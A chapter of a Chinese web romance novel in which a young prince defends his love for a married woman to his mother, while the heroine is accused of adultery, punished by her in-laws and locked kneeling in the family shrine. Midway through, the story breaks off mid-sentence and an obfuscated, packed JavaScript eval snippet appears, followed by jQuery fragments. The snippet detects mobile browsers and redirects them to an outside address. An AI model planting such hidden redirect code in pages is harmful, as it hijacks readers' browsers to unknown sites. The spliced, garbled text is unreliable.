41. 第四十一章

作品:《也没说他会假戏真做啊

    “母亲明明答应了,为何突然反悔?”


    翌日天色未明,晋王旧宅正院的东厢里,传出激烈争吵声。


    “你只说那个女子聪慧有趣,是和离之身,要娶她进门。可你没说她是从慎的妻子,你要娶你的嫂嫂,你的师母,朱淮宁,你觉得这像话吗?何况人家夫妻恩爱,不曾和离。”


    晋王妃气的拍桌子:“怎么,你要做个男外室?”


    朱淮宁却不置可否:“母亲的主意听起来也不错。”


    “无耻之尤!我怎么会生出你这么个目无廉耻的混账。”晋王妃脾气上来抄起手边的茶盏便砸过去。


    朱淮宁也不躲,胸口衣衫湿了一大片,冷冷一扯唇角:“母亲此言差矣,若儿真的目无廉耻,嫂嫂早已经是我的人了。”


    “混账……”晋王妃暴怒之下连骂数声难听之语,可下首坐着的儿子脸色都未变半分,她气到无奈扶额,“她便是再好,你也只不过见过短短几面,如何能喜欢上?就这般喜欢?”


    “是。”朱淮宁昂首坦荡荡。


    “一开始我确不喜欢她,只是因她是沈从慎的妻才去招惹,可是母亲,昨晚她救那个孩子的时候,她比任何人都无条件信任我。”


    晋王妃面露不解。朱淮宁续道:“父亲早逝,我才只有十岁,母亲仍怕我们招陛下猜忌,不让我读书写字,每日让我泡在美酒佳肴堆里,再大一些,干脆连京城也不让我进,母亲和整个王府的人都从来没有相信过我,相信我会做好我应该做的,相信我能承担起该承担的。”


    “我就是喜欢许繁音了。”


    “她会骂我,不一味捧着我,她也会向我说谢谢,把最要紧的性命试图交给我。”


    “我是只见过她几面,可也比长久待在郡王府里的日子加起来觉得自己像个活人。”


    晋王妃见自己一片良苦用心到头来竟然成了桎梏儿子的枷锁,不由得簌簌落下泪来,但她不是怨天尤人的性子,一切都是难为而不得不为,哭够了,她只同儿子讲道理:“昨晚那么多人都看见你为她冲进火场,你是郡王,有身份有地位,即便你们是真的,旁人也不敢把你怎么样。她只是一介妇人,我听说她娘家永宁侯府也对她不好,从慎不在京中,她那些婆母婶母哪个是好相与的?即便你们是假的,她依旧要受谩骂惩罚。私通在哪朝哪代都是重罪,弄不好,她还要丢了性命。”


    “我亲自去同沈家解释。”朱淮宁起身便往外走。


    晋王妃赶紧叫人把他拦住:“油盐不进的东西,你现在去沈家是想害死她不成?你们几个,将他锁在房间里,除了吃饭喝水,死在里面也不得开门。”


    “母亲……”朱淮宁无奈祈求,晋王妃却不再看他半眼。


    他寸步难行之际,沈家,许繁音在长房正堂里,已经从半夜跪到了天明。


    书香去查那死去婢女的家人,一回来听说这事,不顾阻拦冲进长房院里,还不曾说话便被几个守在门口的小厮乱棍重打,她被打倒在地,吐出一口血沫:“少夫人……”


    “母亲,”一夜都不曾开口的许繁音未曾回头,随着背后传来棍棒打在人身上的闷响声,她的表情慢慢有了一丝松动,“书香昨晚不在,不关她的事。”


    堂内坐着昨晚一力“捉奸”的周氏、魏氏,其他几房不愿趟这浑水,便只有一个成过婚硬被叫来当证人的沈妩。


    周氏素来温婉和善,这还是她头一次面带煞色:“身为贴身婢女却不在主子身边伺候,这样失职的婢女留着也没什么用了。”


    “许繁音,你还是快认了吧,”魏氏几多痛恨许繁音,如今终于叫她抓住把柄,誓要发挥得淋漓尽致,“你以为一直装哑巴等到大长公主回来便有人替你出头?你怕是和男人厮混还不知道,昨晚宴后大长公主陪了太后娘娘入宫小住,没有十天半月回不来。你装着不认,受苦的是你的丫头,我记着慈安堂还白养着一个呢,赵妈妈,去,将那贱蹄子提过来。”


    “三婶,”许繁音伸手拦住赵妈妈,“你与母亲既然认定犯错的是我,何必为难两个无辜的婢女。只管罚我便是了。”


    “哼,你倒是真疼她们,”魏氏冲赵妈妈使眼色叫她退到一边,起身围着许繁音慢慢踱了一圈,“怪不得能叫晋小郡王看上呢,生得这般粉面桃腮,软身柳腰的,又有一张巧嘴,才嫁进来两个月,就哄得二郎那样克己复礼的一个人为你呛他父亲的话,哄得大长公主事事都偏向你!”


    她一把扯下许繁音绾发的花簪,如瀑长发水一般流泻下来,不显得她狼狈,却突出她眉眼中的娇柔怜人。魏氏看得怒火中烧,将发簪一把扔到地上,力气太大甚至带翻婢女正要上的茶水。眼见那一壶滚水要浇到许繁音头上,沈妩伸手将壶接住,自己却被结结实实烫了满手臂。


    热气腾腾间,白皙的皮肤立即泛红,发起一串亮晶晶的水泡。沈妩疼的眉目紧皱,她本就因之前落水留下病根,现在还时不时地咳血,这一遭下来,周氏不好强留她,差人送她回院子去了。


    “灾星,”魏氏恨盯向许繁音,“一家人将你捧到天上去,可你偏是个欲壑.难填的,这么好的夫君与婆家养着你,你还要不知廉耻地去通.奸。你让二郎的脸往哪里搁,沈家那么多公子小姐如何出门见人?我与大嫂倒是想罚你,罪出有因,你不认,我们动了手你转头告我们滥用私刑,我可不会上你的当。”


    许繁音裙裾被流过来的水浸透,淡然道:“儿媳已经说得很清楚了,我自己从大火中逃生到后街,与寻我的晋小郡王撞上,只是一起从长巷中走出而已,不曾发生过什么见不得人的事。”


    “无凭无据,可有人证?”周氏冷声问道。


    许繁音摇头:“只我们二人。”


    沈微提前回京未报,若让有心人知道定然拿去做文章,许繁音没打算说他那时在场的事。


    “阿音,”周氏叫外头打书香板子的停了手,好言相劝,“你若与晋小郡王无私情,火场里那么多人他为何偏偏只为你冒险?你莫要不见棺材不落泪,这样受苦的是你,你说了,我可向大长公主替你求情。”


    “儿媳所言未有一字一句搀假,若母亲与三婶不信,儿媳自请罚跪家祠,让列祖列宗来评定儿媳是否有错。”


    “牌位又不会说话,我看你是想拖时间,”魏氏翻着眼睛道,“你不会以为二郎回来你便高枕无忧了吧?”


    是的,许繁音就是想拖时间。


    她知道沈微和大长


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111265|178848||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    公主不在,大夫人和三夫人绝对不敢随意处置自己,否则昨夜回来便会一条白绫送她上路,而不是到现在也只是一直催她认罪。


    即便大长公主一时半会儿不出宫,距离明面上沈微回京的日子也只差四五天,只要沈微开口她们便没话再说。四五天而已,许繁音自认熬得住,同样是跪着,去祠堂比在这里受人折辱的好。


    她也如愿以偿。


    魏氏亲自押她到祠堂,将地上的软蒲垫撤了,换上块木板,还派了婢女在一旁盯着。祠堂门落锁,魏氏对婢女吩咐:“看紧点儿,敢动一下身子便将木板也撤了,还有一日三餐,只许送水不准吃饭,看她能撑到几时。”


    二少夫人难为啊。


    许繁音闭上眼深呼吸,不生气不生气,想想沈微给的那些好处,就当上班了。


    木板硬得要命,跪了不到半个时辰,许繁音的膝盖已经失去知觉,她咬牙坚持着,暮色洒进来时,还是忍不住活动了一下膝盖。


    立即被那看着她的婢女瞧见了,她面无表情道:“少夫人,请跪好,再动奴婢只能撤走木板了。”


    撤吧撤吧,搞得好像谁很喜欢似的。


    祠堂里已经是一片黑暗,只有祖宗牌位前亮着烛火。婢女上前点起架上烛台,又往香炉中添进一些香料,袅袅青烟缓缓飘散。


    忽的,她身后的许繁音身子左摇右摆,啪嗒一下倒在地上,似是体力不支晕了过去。婢女继续往炉中加香料,直让烟雾腾腾,她才停了手,走到许繁音面前:“少夫人,晕倒不是您这个样子的,您装得不像,起来吧,木板奴婢便拿走了。”


    “别呀,”许繁音一下子睁眼跪得笔直,“我好好跪还不行吗……”


    任由她怎么说,婢女仍拿走了木板,冷冰冰的大理石贴着膝盖,咯得许繁音呲牙咧嘴。


    外面有人敲门送饭,当然,给繁音的是水。好在送饭的还算有些良心,碗是热乎的,不至于大冷天喝凉水。


    许繁音从昨晚到现在粒米未进,端碗捏着鼻子小口小口饮用,没注意身后婢女何时已经退了出去,整个祠堂只余她一人。


    -


    晋王旧宅,朱淮宁仍在推窗砸门。


    赵翁从墙角溜进来,小心趴到窗户边:“主子……”


    朱淮宁在里面骂:“少废话,你死哪儿去了赶紧开门。”


    “你先听我说主子,有重要的事,关于沈二少夫人的。”


    朱淮宁果然冷静下来:“说。”


    “方才角门有个婢女拦住小人,说她家二少夫人回府后被施以家法,受伤严重还被丢进了祠堂,奄奄一息,性命垂危。”


    朱淮宁思忖片刻,问:“可是嫂嫂身边常跟着的那个婢女?”


    “您那日去沈家没带小人,且那婢女轻纱遮面,小人不知,”赵翁捅破窗纸,将一物递进去,“不过那婢女带了这个来,小人不敢耽误,怕少夫人当真性命垂危,这才瞒着王妃来见主子。”


    朱淮宁接过那物近瞧,是一只鎏金兰花簪子。他见过,灯会时她在碧波楼戴这的便是这一只,昨晚那种情况,她回沈家后必然不会有重新梳妆的机会……


    朱淮宁再也忍耐不住,一脚踹开了窗户。